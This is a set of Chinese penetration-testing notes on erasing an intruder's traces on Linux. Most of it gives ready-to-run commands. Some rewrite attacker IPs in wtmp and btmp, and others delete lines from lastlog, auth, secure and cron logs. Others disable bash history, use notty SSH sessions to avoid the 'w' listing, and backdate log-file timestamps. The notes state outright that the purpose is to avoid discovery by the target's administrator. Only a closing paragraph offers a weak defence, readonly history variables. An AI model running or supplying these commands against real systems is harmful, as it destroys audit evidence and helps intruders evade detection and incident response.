utmpdump /var/log/wtmp |sed "s/{your_ip}/{random_ip}/g" |utmpdump -r >/tmp/wtmp && mv /tmp/wtmp /var/log/wtmp
utmpdump /var/log/wtmp |sed "s/192.168.52.1/114.114.114.114/g" |utmpdump -r >/tmp/wtmp && mv /tmp/wtmp /var/log/wtmp
综合起来,该命令的作用是读取 /var/log/wtmp 登录日志文件的内容,将其中的字符串 "192.168.52.1" 替换为 "114.114.114.114",然后重新解析修改后的内容,并将结果保存到临时文件 /tmp/wtmp 中,最后使用 mv 命令将临时文件移动到 /var/log/wtmp,完成对登录日志文件的修改替换操作。
注意:wtmp和btmp不要直接使用sed进行ip替换或者直接删除行,会导致日志格式乱掉或是日志内容被覆盖。
使用lastb命令可以看到有部分登录失败尝试
和wtmp文件相同的替换方法。
utmpdump /var/log/btmp |sed "s/192.168.52.1/8.8.8.8/g" |utmpdump -r >/tmp/btmp && mv /tmp/btmp /var/log/btmp
注意:wtmp和btmp不要直接使用sed进行ip替换或者直接删除行,会导致日志格式乱掉或是日志内容被覆盖。
lastlog:记录用户上次登录信息。
直接使用sed命令进行替换即可
sed -i 's/192.168.52.130/8.8.8.8/g' /var/log/lastlog
或者直接删除
sed -i '/192.168.52.130/d' /var/log/lastlog
在 Linux 中,登录的日志信息通常存储在 /var/log/auth.log 或 /var/log/secure 文件中,具体取决于你使用的 Linux 发行版和配置。
你可以使用以下命令来查看登录日志:
sudo cat /var/log/auth.log
sudo cat /var/log/secure
这些命令将打印出完整的登录日志文件内容。请注意,需要使用超级用户权限(sudo)运行这些命令才能访问日志文件。
如果你只想查看最近的登录记录,可以使用 tail 命令来显示日志文件的最后几行:
sudo tail /var/log/auth.log
sudo tail /var/log/secure
根据你的实际需求,你可以使用其他文本查看工具(如 less、grep 等)来筛选和搜索登录日志文件的特定信息。
只要使用命令即可删除登录日志(根据ip,也可以根据ssh连接的特征)
进入目录/var/log/
grep -l '192.168.52.130' * | xargs sed -i '/192.168.52.130/s/.*//g'
grep -l 'sshd' * | xargs sed -i '/sshd/s/.*//g'
https://atsud0.me/2022/01/09/Linux%E7%97%95%E8%BF%B9%E6%B8%85%E9%99%A4%E7%AC%94%E8%AE%B0/
在渗透过程中,当我们连接上对方的机器,势必要进行命令的执行,而这些命令执行又会记录在对方机器中,假如对方管理员进行危险排查,会直接被发现,这时我们就要对我们执行的命令进行删除操作了。
history (选项)(参数)
n 显示最近的n条记录
-a 将历史命令缓冲区中命令写入历史命令文件中
-c 将目前的shell中的所有 history 内容全部消除 实际为假删除
-r 将历史命令文件中的命令读入当前历史命令缓冲区
-w 将当前历史命令缓冲区命令写入历史命令文件中
-d 删除历史记录中指定的行
查看历史命令
history
删除历史命令(假删除)
history -c
历史记录在每次正确的退出shell的时候会存储到 ~/.bash_history文件中
直接进行编辑该文件能达到清除历史记录的目的
查看历史命令
cat ~/.bash_history
在 Linux 中,你可以使用以下命令来清空某个文件的内容:
> filename
echo -n > filename
其中,filename 是要清空内容的文件名。
这些命令使用了重定向操作符 > 将一个空字符串写入文件,从而清空了文件的内容。
第二个命令使用了 echo -n 打印一个空字符串,并将其重定向到文件中,也能实现同样的效果。
在上文中,我们可以知道,当一个正常的交互式login shell登录后,执行命令时,执行的HISTSIZE条命令会被记录到缓冲区里,当用户成功注销时,系统会将HISTSIZE条命令写入到HISTFILE变量中的文件里面,而HISTFILE变量默认的位置就是用户家目录下的.bash_history文件。
所以,如果我们在当前会话中临时取消HISTFILE变量,这样就算正常退出会话历史命令也没有地方保存。
unset HISTFILE
或者也可以将HISTFILE变量的值给到空设备。当正常退出会话时,命令记录也会保存到/dev/null。
export HISTFILE=/dev/null
SHELLOPTS变量是记录了当前会话已经打开的功能选项列表。
查看该变量的值
echo $SHELLOPTS
如果存在history功能即说明会将执行的命令保存到缓冲区中,用户正常退出会话时写入HISTFILE变量中。
我们可以关闭history功能后,将不会记录历史命令执行记录。
set +o history #关闭history功能
shopt -u -o history #同set +o history
notty登录的会话,默认关闭history功能,将不会记录历史命令。
ssh -T user@IP
echo $SHELLOPTS
注意,使用-T参数使用的是非交互式的终端。
使用SSH命令ssh -T root@1.1.1.1 (notty登录)登录系统,可绕过管理员用户w查看。不过管理员可以在进程中发现。(如果使用putty远程连接,此时的类型为pts/1)
经测试,使用notty,能够绕过以下日志:
~/.bashrc文件中保存了重要的环境变量
export HISTFILESIZE=0
export HISTSIZE=0
或者直接修改~/.bashrc文件
vim ~/.bashrc
在 Linux 系统中,HISFILESIZE 参数是一个环境变量,用于指定 shell 命令 history 中保存的命令历史记录文件的最大大小。
默认情况下,Linux shell 会将用户的命令历史记录保存在一个文件中,通常是 ~/.bash_history。HISFILESIZE 参数用于限制该历史记录文件的大小,一旦文件大小超过此限制,较早的命令将被丢弃,以保持文件大小在可接受的范围内。
可以通过在 shell 配置文件(如 ~/.bashrc 或 ~/.bash_profile)中设置 HISTFILESIZE 变量来指定这个值。
如果我们吧大小设置为0,那么就没有空间保存任何一条命令,那么就达到了不记录命令执行日志的目的了。
然后,重新启动或重新加载 shell 配置文件,使设置生效。
请注意,HISFILESIZE 只控制历史记录文件的大小,而不是 shell 的实际记录行数。要控制 shell 历史记录的行数,请使用 HISTSIZE 参数。
此外,还有其他与命令历史相关的环境变量,如 HISTSIZE(设置 shell 命令历史记录中保存的最大行数),HISTCONTROL(控制历史记录中的重复命令和空白命令的保存方式)等。可以通过查看相关文档或使用 help history 命令来获取更多关于这些变量的信息。
修改环境变量之后,就没有执行命令日志了。
修改后,重新加载配置文件即可
source ~/.bashrc
命令前带空格隐藏命令记录,但是这个功能取决于HISTCONTROL变量的设置。
export HISTCONTROL=ignoreboth
export HISTCONTROL=ignorespace
在Debian10中,Bash的默认HISTCONTROL变量为ignoreboth,而在Centos6中Bash的默认HISTCONTROL是ignoredups。
ignoredups是忽略连续两条以上的重复命令。
ignoredspace是忽略命令开头带有空格的命令。
ignoredboth等价于ignoredups和ignorespace的组合,即忽略开头带空格的命令,又忽略连续两条以上重复的命令。
只有HISTCONTROL=ignorespace或者是ignoreboth时,才会忽略命令前带空格的命令。
很多命令即使开头是空格,仍然可以正确执行,因此,在配置了这个环境变量后,执行命令时带上开头空格,命令记录就会被隐藏。
在进行渗透或者提权的过程中,也会使用到计划任务进行提权或者执行命令等操作。
计划任务日志一般保存在/var/log/cron.log中,用于记录 cron 任务的执行情况。在 Linux 系统中,cron 是一个计划任务程序,用于在预定时间自动执行指定的命令或脚本。
当 cron 任务被执行时,相关的执行信息(例如执行时间、执行结果等)会被记录在 /var/log/cron.log 文件中。这个文件通常由系统管理员使用,用于跟踪和检查 cron 任务的执行情况,以便及时发现问题、调试任务和进行故障排除。
注意,每个用户的 cron 任务执行情况都会被记录在不同的日志文件中,例如 /var/log/cron.log 可能是在某些 Linux 发行版中的默认日志文件位置,但也可能因系统配置而有所不同。因此,如果想要查看特定用户的 cron 任务执行情况,需要查找该用户的特定日志文件。
使用命令将对应操作删除
sed -i '/{命令特征}/d' /var/log/cron.log
在我们更新了文件之后,应该修改其时间戳,防止被发现修改文件。
一般情况下有四个类型的时间戳
查看时间戳
stat /var/log/wtmp
这里我们可以使用touch命令修改access和modify时间戳
touch -a -d "YYYY-MM-DD HH:MM:SS"/path/to/file
touch -m -d "YYYY-MM-DD HH:MM:SS"/path/to/file
touch -a -d "2021-1-1 12:13:14" /var/log/wtmp
touch -m -d "2021-1-1 12:13:14" /var/log/wtmp
如果想要修改change和birth时间戳,无法使用touch命令修改,只能通过复制文件的方式进行修改。
cp /path/to/source/file /path/to/destination/file
rm /path/to/source/file
mv /path/to/destination/file /path/to/source/file
通过修改/etc/skel/.bashrc和每个用户的~/.bashrc可以简单防止下攻击者直接清除历史命令。
readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTCMD
readonly HISTCONTROL
readonly HISTIGNORE
注意:该方法有局限性,攻击者可以修改~/.bashrc删掉readonly的配置,再去修改环境变量。